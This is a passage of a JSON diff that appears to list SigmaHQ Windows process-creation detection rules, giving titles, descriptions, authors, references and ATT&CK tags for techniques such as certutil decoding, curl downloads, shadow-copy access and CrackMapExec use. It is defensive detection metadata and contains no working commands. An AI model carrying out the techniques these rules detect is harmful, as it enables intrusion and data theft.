"2021/08/19", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_bitstransfer.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/powershell/module/bitstransfer/add-bitsfile?view=windowsserver2019-ps", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_bitstransfer.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.persistence", + "attack.t1197" + ] + }, + "uuid": "cd5c8085-4070-4e22-908d-a5b3342deb74", + "value": "Suspicious Bitstransfer via PowerShell" + }, + { + "description": "Detects execution of a set of builtin commands often used in recon stages by different attack groups", + "meta": { + "author": "Florian Roth, Markus Neis", + "creation_date": "2018/08/22", + "falsepositive": [ + "False positives depend on scripts and administrative tools used in the monitored environment" + ], + "filename": "proc_creation_win_susp_builtin_commands_recon.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/haroonmeer/status/939099379834658817", + "https://twitter.com/c_APT_ure/status/939475433711722497", + "https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_builtin_commands_recon.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1087", + "attack.t1082", + "car.2016-03-001" + ] + }, + "uuid": "2887e914-ce96-435f-8105-593937e90757", + "value": "Reconnaissance Activity Using BuiltIn Commands" + }, + { + "description": "Detects suspicious use of 'calc.exe' with command line parameters or in a suspicious directory, which is likely caused by some PoC or detection evasion", + "meta": { + "author": "Florian Roth", + "creation_date": "2019/02/09", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_calc.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/ItsReallyNick/status/1094080242686312448", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_calc.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036" + ] + }, + "uuid": "737e618a-a410-49b5-bec3-9e55ff7fbc15", + "value": "Suspicious Calculator Usage" + }, + { + "description": "Launch 64-bit shellcode from a debugger script file using cdb.exe.", + "meta": { + "author": "Beyu Denis, oscd.community, Nasreddine Bencherchali", + "creation_date": "2019/10/26", + "falsepositive": [ + "Legitimate use of debugging tools" + ], + "filename": "proc_creation_win_susp_cdb.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Cdb/", + "http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html", + "https://twitter.com/nas_bench/status/1534957360032120833", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_cdb.yml" + ], + "tags": [ + "attack.execution", + "attack.t1106", + "attack.defense_evasion", + "attack.t1218", + "attack.t1127" + ] + }, + "uuid": "b5c7395f-e501-4a08-94d4-57fe7a9da9d2", + "value": "Possible App Whitelisting Bypass via WinDbg/CDB as a Shellcode Runner" + }, + { + "description": "Detects a suspicious Microsoft certutil execution with sub commands like 'decode' sub command, which is sometimes used to decode malicious code", + "meta": { + "author": "Florian Roth, juju4, keepwatch", + "creation_date": "2019/01/16", + "falsepositive": [ + "False positives depend on scripts and administrative tools used in the monitored environment" + ], + "filename": "proc_creation_win_susp_certutil_command.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/JohnLaTwC/status/835149808817991680", + "https://blogs.technet.microsoft.com/pki/2006/11/30/basic-crl-checking-with-certutil/", + "https://www.trustedsec.com/2017/07/new-tool-release-nps_payload/", + "https://twitter.com/egre55/status/1087685529016193025", + "https://lolbas-project.github.io/lolbas/Binaries/Certutil/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_certutil_command.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1140", + "attack.command_and_control", + "attack.t1105", + "attack.s0160", + "attack.g0007", + "attack.g0010", + "attack.g0045", + "attack.g0049", + "attack.g0075", + "attack.g0096" + ] + }, + "uuid": "e011a729-98a6-4139-b5c4-bf6f6dd8239a", + "value": "Suspicious Certutil Command Usage" + }, + { + "description": "Detects suspicious a certutil command that used to encode files, which is sometimes used for data exfiltration", + "meta": { + "author": "Florian Roth, Jonhnathan Ribeiro, oscd.community", + "creation_date": "2019/02/24", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_certutil_encode.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil", + "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_certutil_encode.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027" + ] + }, + "uuid": "e62a9f0c-ca1e-46b2-85d5-a6da77f86d1a", + "value": "Certutil Encode" + }, + { + "description": "Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit.", + "meta": { + "author": "frack113", + "creation_date": "2022/01/15", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_char_in_cmd.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.wietzebeukema.nl/blog/windows-command-line-obfuscation", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027/T1027.md#atomic-test-6---dlp-evasion-via-sensitive-data-in-vba-macro-over-http", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_char_in_cmd.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027" + ] + }, + "uuid": "e0552b19-5a83-4222-b141-b36184bb8d79", + "value": "Obfuscated Command Line Using Special Unicode Characters" + }, + { + "description": "Detection of child processes spawned with SYSTEM privileges by parents with LOCAL SERVICE or NETWORK SERVICE accounts", + "meta": { + "author": "Teymur Kheirkhabarov, Roberto Rodriguez (@Cyb3rWard0g), Open Threat Research (OTR)", + "creation_date": "2019/10/26", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_child_process_as_system_.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", + "https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/", + "https://github.com/antonioCoco/RogueWinRM", + "https://twitter.com/Cyb3rWard0g/status/1453123054243024897", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_child_process_as_system_.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1134.002" + ] + }, + "uuid": "590a5f4c-6c8c-4f10-8307-89afe9453a9d", + "value": "Suspicious Child Process Created as System" + }, + { + "description": "Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources.\nData destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives\n", + "meta": { + "author": "frack113", + "creation_date": "2021/12/26", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_cipher.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1485/T1485.md#atomic-test-3---overwrite-deleted-data-on-c-drive", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_cipher.yml" + ], + "tags": [ + "attack.impact", + "attack.t1485" + ] + }, + "uuid": "4b046706-5789-4673-b111-66f25fe99534", + "value": "Overwrite Deleted Data with Cipher" + }, + { + "description": "Detects suspicious process that use escape characters", + "meta": { + "author": "juju4", + "creation_date": "2018/12/11", + "falsepositive": [ + "False positives depend on scripts and administrative tools used in the monitored environment" + ], + "filename": "proc_creation_win_susp_cli_escape.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/vysecurity/status/885545634958385153", + "https://twitter.com/Hexacorn/status/885553465417756673", + "https://twitter.com/Hexacorn/status/885570278637678592", + "https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html", + "http://www.windowsinspired.com/understanding-the-command-line-string-and-arguments-received-by-a-windows-program/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_cli_escape.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1140" + ] + }, + "uuid": "f0cdd048-82dc-4f7a-8a7a-b87a52b6d0fd", + "value": "Suspicious Commandline Escape" + }, + { + "description": "Detects usage of a CLSID folder name located in a suspicious location from the commandline as seen being used in IcedID", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/09/01", + "falsepositive": [ + "Some FP is expected with some installers" + ], + "filename": "proc_creation_win_susp_clsid_foldername.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/Kostastsale/status/1565257924204986369", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_clsid_foldername.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027" + ] + }, + "uuid": "90b63c33-2b97-4631-a011-ceb0f47b77c3", + "value": "Suspicious CLSID Folder Name In Suspicious Locations" + }, + { + "description": "Detects suspicious command execution (cmd) via Windows Management Instrumentation (WMI) on a remote host. This could be indicative of adversary lateral movement.", + "meta": { + "author": "Tim Rauch", + "creation_date": "2022/09/27", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_cmd_exectution_via_wmi.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.elastic.co/guide/en/security/current/suspicious-cmd-execution-via-wmi.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_cmd_exectution_via_wmi.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047" + ] + }, + "uuid": "e31f89f7-36fb-4697-8ab6-48823708353b", + "value": "Suspicious Cmd Execution via WMI" + }, + { + "description": "Detects a suspicious command line execution that includes an URL and AppData string in the command line parameters as used by several droppers (js/vbs > powershell)", + "meta": { + "author": "Florian Roth, Jonhnathan Ribeiro, oscd.community", + "creation_date": "2019/01/16", + "falsepositive": [ + "High" + ], + "filename": "proc_creation_win_susp_cmd_http_appdata.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.hybrid-analysis.com/sample/3a1f01206684410dbe8f1900bbeaaa543adfcd07368ba646b499fa5274b9edf6?environmentId=100", + "https://www.hybrid-analysis.com/sample/f16c729aad5c74f19784a24257236a8bbe27f7cdc4a89806031ec7f1bebbd475?environmentId=100", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_cmd_http_appdata.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.003", + "attack.t1059.001", + "attack.command_and_control", + "attack.t1105" + ] + }, + "uuid": "1ac8666b-046f-4201-8aba-1951aaec03a3", + "value": "Command Line Execution with Suspicious URL and AppData Strings" + }, + { + "description": "Detects a copy execution that targets a shadow copy (sometimes used to copy registry hives that are in use)", + "meta": { + "author": "Max Altgelt, Tobias Michalski", + "creation_date": "2021/08/09", + "falsepositive": [ + "Some rare backup scenarios" + ], + "filename": "proc_creation_win_susp_cmd_shadowcopy_access.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/vxunderground/status/1423336151860002816?s=20", + "https://www.virustotal.com/gui/file/03e9b8c2e86d6db450e5eceec057d7e369ee2389b9daecaf06331a95410aa5f8/detection", + "https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_cmd_shadowcopy_access.yml" + ], + "tags": [ + "attack.impact", + "attack.t1490" + ] + }, + "uuid": "c73124a7-3e89-44a3-bdc1-25fe4df754b1", + "value": "Copy from Volume Shadow Copy" + }, + { + "description": "Detects use of chcp to look up the system locale value as part of host discovery", + "meta": { + "author": "_pete_0, TheDFIRReport", + "creation_date": "2022/02/21", + "falsepositive": [ + "During Anaconda update the 'conda.exe' process will eventually launch the command described in the detection section" + ], + "filename": "proc_creation_win_susp_codepage_lookup.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://thedfirreport.com/2022/04/04/stolen-images-campaign-ends-in-conti-ransomware/", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/chcp", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_codepage_lookup.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1614.001" + ] + }, + "uuid": "7090adee-82e2-4269-bd59-80691e7c6338", + "value": "CHCP CodePage Locale Lookup" + }, + { + "description": "Detects a code page switch in command line or batch scripts to a rare language", + "meta": { + "author": "Florian Roth, Jonhnathan Ribeiro, oscd.community", + "creation_date": "2019/10/14", + "falsepositive": [ + "Administrative activity (adjust code pages according to your organisation's region)" + ], + "filename": "proc_creation_win_susp_codepage_switch.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/windows/win32/intl/code-page-identifiers", + "https://twitter.com/cglyer/status/1183756892952248325", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_codepage_switch.yml" + ], + "tags": [ + "attack.t1036", + "attack.defense_evasion" + ] + }, + "uuid": "c7942406-33dd-4377-a564-0f62db0593a3", + "value": "Suspicious Code Page Switch" + }, + { + "description": "Detects suspicious Unicode characters in the command line, which could be a sign of obfuscation or defense evasion", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/04/27", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_commandline_chars.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.wietzebeukema.nl/blog/windows-command-line-obfuscation", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_commandline_chars.yml" + ], + "tags": "No established tags" + }, + "uuid": "2c0d2d7b-30d6-4d14-9751-7b9113042ab9", + "value": "Suspicious Characters in CommandLine" + }, + { + "description": "Detects suspicious command line arguments of common data compression tools", + "meta": { + "author": "Florian Roth, Samir Bousseaden", + "creation_date": "2019/10/15", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_compression_params.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/SBousseaden/status/1184067445612535811", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_compression_params.yml" + ], + "tags": [ + "attack.collection", + "attack.t1560.001" + ] + }, + "uuid": "27a72a60-7e5e-47b1-9d17-909c9abafdcd", + "value": "Suspicious Compression Tool Parameters" + }, + { + "description": "Detects the conhost execution as parent process. Can be used to evaded defense mechanism.", + "meta": { + "author": "omkar72", + "creation_date": "2020/10/25", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_conhost.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "http://www.hexacorn.com/blog/2020/05/25/how-to-con-your-host/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_conhost.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1202" + ] + }, + "uuid": "7dc2dedd-7603-461a-bc13-15803d132355", + "value": "Conhost Parent Process Executions" + }, + { + "description": "ForceV1 asks for information directly from the kernel space. Conhost connects to the console application", + "meta": { + "author": "frack113", + "creation_date": "2022/04/04", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_conhost_option.yml", + "level": "informational", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://cybercryptosec.medium.com/covid-19-cyber-infection-c615ead7c29", + "https://thedfirreport.com/2022/04/04/stolen-images-campaign-ends-in-conti-ransomware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_conhost_option.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1202" + ] + }, + "uuid": "3037d961-21e9-4732-b27a-637bcc7bf539", + "value": "Suspicious Conhost Legacy Option" + }, + { + "description": "Detects a suspicious process pattern found in CVE-2021-40444 exploitation", + "meta": { + "author": "@neonprimetime, Florian Roth", + "creation_date": "2021/09/08", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_control_cve_2021_40444.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444", + "https://twitter.com/neonprimetime/status/1435584010202255375", + "https://www.joesandbox.com/analysis/476188/1/iochtml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_control_cve_2021_40444.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ] + }, + "uuid": "894397c6-da03-425c-a589-3d09e7d1f750", + "value": "CVE-2021-40444 Process Pattern" + }, + { + "description": "Detects suspicious Rundll32 execution from control.exe as used by Equation Group and Exploit Kits", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/04/15", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_control_dll_load.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/rikvduijn/status/853251879320662017", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_control_dll_load.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.011" + ] + }, + "uuid": "d7eb979b-c2b5-4a6f-a3a7-c87ce6763819", + "value": "Suspicious Control Panel DLL Load" + }, + { + "description": "Detects a suspicious copy command to or from an Admin share or remote", + "meta": { + "author": "Florian Roth, oscd.community, Teymur Kheirkhabarov @HeirhabarovT, Zach Stanford @svch0st, Nasreddine Bencherchali", + "creation_date": "2019/12/30", + "falsepositive": [ + "Administrative scripts" + ], + "filename": "proc_creation_win_susp_copy_lateral_movement.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/SBousseaden/status/1211636381086339073", + "https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view", + "https://www.elastic.co/guide/en/security/current/remote-file-copy-to-a-hidden-share.html", + "https://www.microsoft.com/en-us/security/blog/2022/10/18/defenders-beware-a-case-for-post-ransomware-investigations/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_copy_lateral_movement.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.collection", + "attack.exfiltration", + "attack.t1039", + "attack.t1048", + "attack.t1021.002" + ] + }, + "uuid": "855bc8b5-2ae8-402e-a9ed-b889e6df1900", + "value": "Copy from Admin Share" + }, + { + "description": "Detects a suspicious copy operation that tries to copy a program from a system (System32 or SysWOW64) directory to another on disk.\nOften used to move LOLBINs such as 'certutil' or 'desktopimgdownldr' to a different location with a different name in order to bypass detections based on locations\n", + "meta": { + "author": "Florian Roth, Markus Neis, Tim Shelton (HAWK.IO), Nasreddine Bencherchali (update)", + "creation_date": "2020/07/03", + "falsepositive": [ + "Depend on scripts and administrative tools used in the monitored environment (For example an admin scripts like https://www.itexperience.net/sccm-batch-files-and-32-bits-processes-on-64-bits-os/)", + "When cmd.exe and xcopy.exe are called directly", + "When the command contains the keywords but not in the correct order" + ], + "filename": "proc_creation_win_susp_copy_system32.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.hybrid-analysis.com/sample/8da5b75b6380a41eee3a399c43dfe0d99eeefaa1fd21027a07b1ecaa4cd96fdd?environmentId=120", + "https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_copy_system32.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036.003" + ] + }, + "uuid": "fff9d2b7-e11c-4a69-93d3-40ef66189767", + "value": "Suspicious Copy From or To System32" + }, + { + "description": "Detects suspicious command lines used in Covenant luanchers", + "meta": { + "author": "Florian Roth, Jonhnathan Ribeiro, oscd.community", + "creation_date": "2020/06/04", + "falsepositive": "No established falsepositives", + "filename": "proc_creation_win_susp_covenant.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://posts.specterops.io/covenant-v0-5-eee0507b85ba", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_covenant.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.t1059.001", + "attack.t1564.003" + ] + }, + "uuid": "c260b6db-48ba-4b4a-a76f-2f67644e99d2", + "value": "Covenant Launcher Indicators" + }, + { + "description": "Detect various execution methods of the CrackMapExec pentesting framework", + "meta": { + "author": "Thomas Patzke", + "creation_date": "2020/05/22", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_crackmapexec_execution.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/byt3bl33d3r/CrackMapExec", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_crackmapexec_execution.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047", + "attack.t1053", + "attack.t1059.003", + "attack.t1059.001", + "attack.s0106" + ] + }, + "uuid": "058f4380-962d-40a5-afce-50207d36d7e2", + "value": "CrackMapExec Command Execution" + }, + { + "description": "This rule detect common flag combinations used by CrackMapExec in order to detect its use even if the binary has been replaced.", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/02/25", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_crackmapexec_flags.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://mpgn.gitbook.io/crackmapexec/smb-protocol/authentication/checking-credentials-local", + "https://www.mandiant.com/resources/telegram-malware-iranian-espionage", + "https://www.infosecmatter.com/crackmapexec-module-library/?cmem=mssql-mimikatz", + "https://www.infosecmatter.com/crackmapexec-module-library/?cmem=smb-pe_inject", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_crackmapexec_flags.yml" + ], + "tags": "No established tags" + }, + "uuid": "42a993dd-bb3e-48c8-b372-4d6684c4106c", + "value": "CrackMapExec Command Line Flags" + }, + { + "description": "The CrachMapExec pentesting framework implements a PowerShell obfuscation with some static strings detected by this rule.", + "meta": { + "author": "Thomas Patzke", + "creation_date": "2020/05/22", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_crackmapexec_powershell_obfuscation.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/byt3bl33d3r/CrackMapExec", + "https://github.com/byt3bl33d3r/CrackMapExec/blob/0a49f75347b625e81ee6aa8c33d3970b5515ea9e/cme/helpers/powershell.py#L242", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_crackmapexec_powershell_obfuscation.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.defense_evasion", + "attack.t1027.005" + ] + }, + "uuid": "6f8b3439-a203-45dc-a88b-abf57ea15ccf", + "value": "CrackMapExec PowerShell Obfuscation" + }, + { + "description": "Detects a suspicious parent of csc.exe, which could by a sign of payload delivery", + "meta": { + "author": "Florian Roth", + "creation_date": "2019/02/11", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_csc.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/SBousseaden/status/1094924091256176641", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_csc.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.005", + "attack.t1059.007", + "attack.defense_evasion", + "attack.t1218.005", + "attack.t1027.004" + ] + }, + "uuid": "b730a276-6b63-41b8-bcf8-55930c8fc6ee", + "value": "Suspicious Parent of Csc.exe" + }, + { + "description": "Adversaries may abuse Visual Basic (VB) for execution", + "meta": { + "author": "frack113", + "creation_date": "2022/01/02", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_cscript_vbs.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.005/T1059.005.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_cscript_vbs.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.005" + ] + }, + "uuid": "23250293-eed5-4c39-b57a-841c8933a57d", + "value": "Cscript Visual Basic Script Execution" + }, + { + "description": "Detects a suspicious execution of csc.exe, which uses a source in a suspicious folder (e.g. AppData)", + "meta": { + "author": "Florian Roth", + "creation_date": "2019/08/24", + "falsepositive": [ + "Legitimate software from program files - https://twitter.com/gN3mes1s/status/1206874118282448897", + "Legitimate Microsoft software - https://twitter.com/gabriele_pippi/status/1206907900268072962" + ], + "filename": "proc_creation_win_susp_csc_folder.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://securityboulevard.com/2019/08/agent-tesla-evading-edr-by-removing-api-hooks/", + "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf", + "https://app.any.run/tasks/c6993447-d1d8-414e-b856-675325e5aa09/", + "https://twitter.com/gN3mes1s/status/1206874118282448897", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_csc_folder.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027.004" + ] + }, + "uuid": "dcaa3f04-70c3-427a-80b4-b870d73c94c4", + "value": "Suspicious Csc.exe Source File Folder" + }, + { + "description": "Detects the use of the lesser known remote execution tool named CsExec (a PsExec alternative)", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/08/22", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_csexec.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/malcomvetter/CSExec", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_csexec.yml" + ], + "tags": [ + "attack.resource_development", + "attack.t1587.001", + "attack.execution", + "attack.t1569.002" + ] + }, + "uuid": "d08a2711-ee8b-4323-bdec-b7d85e892b31", + "value": "CsExec Remote Execution Tool Usage" + }, + { + "description": "Csi.exe is a signed binary from Microsoft that comes with Visual Studio and provides C# interactive capabilities. It can be used to run C# code from a file passed as a parameter in command line. Early version of this utility provided with Microsoft “Roslyn” Community Technology Preview was named 'rcsi.exe'", + "meta": { + "author": "Konstantin Grishchenko, oscd.community", + "creation_date": "2020/10/17", + "falsepositive": [ + "Legitimate usage by software developers" + ], + "filename": "proc_creation_win_susp_csi.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Csi/", + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Rcsi/", + "https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/", + "https://twitter.com/Z3Jpa29z/status/1317545798981324801", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_csi.yml" + ], + "tags": [ + "attack.execution", + "attack.t1072", + "attack.defense_evasion", + "attack.t1218" + ] + }, + "uuid": "40b95d31-1afc-469e-8d34-9a3a667d058e", + "value": "Suspicious Csi.exe Usage" + }, + { + "description": "Detects a suspicious curl process start on Windows and outputs the requested document to a local file", + "meta": { + "author": "Florian Roth, Nasreddine Bencherchali (updated)", + "creation_date": "2020/07/03", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_curl_download.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/max_mal_/status/1542461200797163522", + "https://web.archive.org/web/20200128160046/https://twitter.com/reegun21/status/1222093798009790464", + "https://github.com/pr0xylife/Qakbot/blob/4f0795d79dabee5bc9dd69f17a626b48852e7869/Qakbot_AA_23.06.2022.txt", + "https://www.volexity.com/blog/2022/07/28/sharptongue-deploys-clever-mail-stealing-browser-extension-sharpext/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_curl_download.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ] + }, + "uuid": "e218595b-bbe7-4ee5-8a96-f32a24ad3468", + "value": "Suspicious Curl Usage on Windows" + }, + { + "description": "Detects a suspicious curl process start the adds a file to a web request", + "meta": { + "author": "Florian Roth", + "creation_date": "2020/07/03", + "falsepositive": [ + "Scripts created by developers and admins" + ], + "filename": 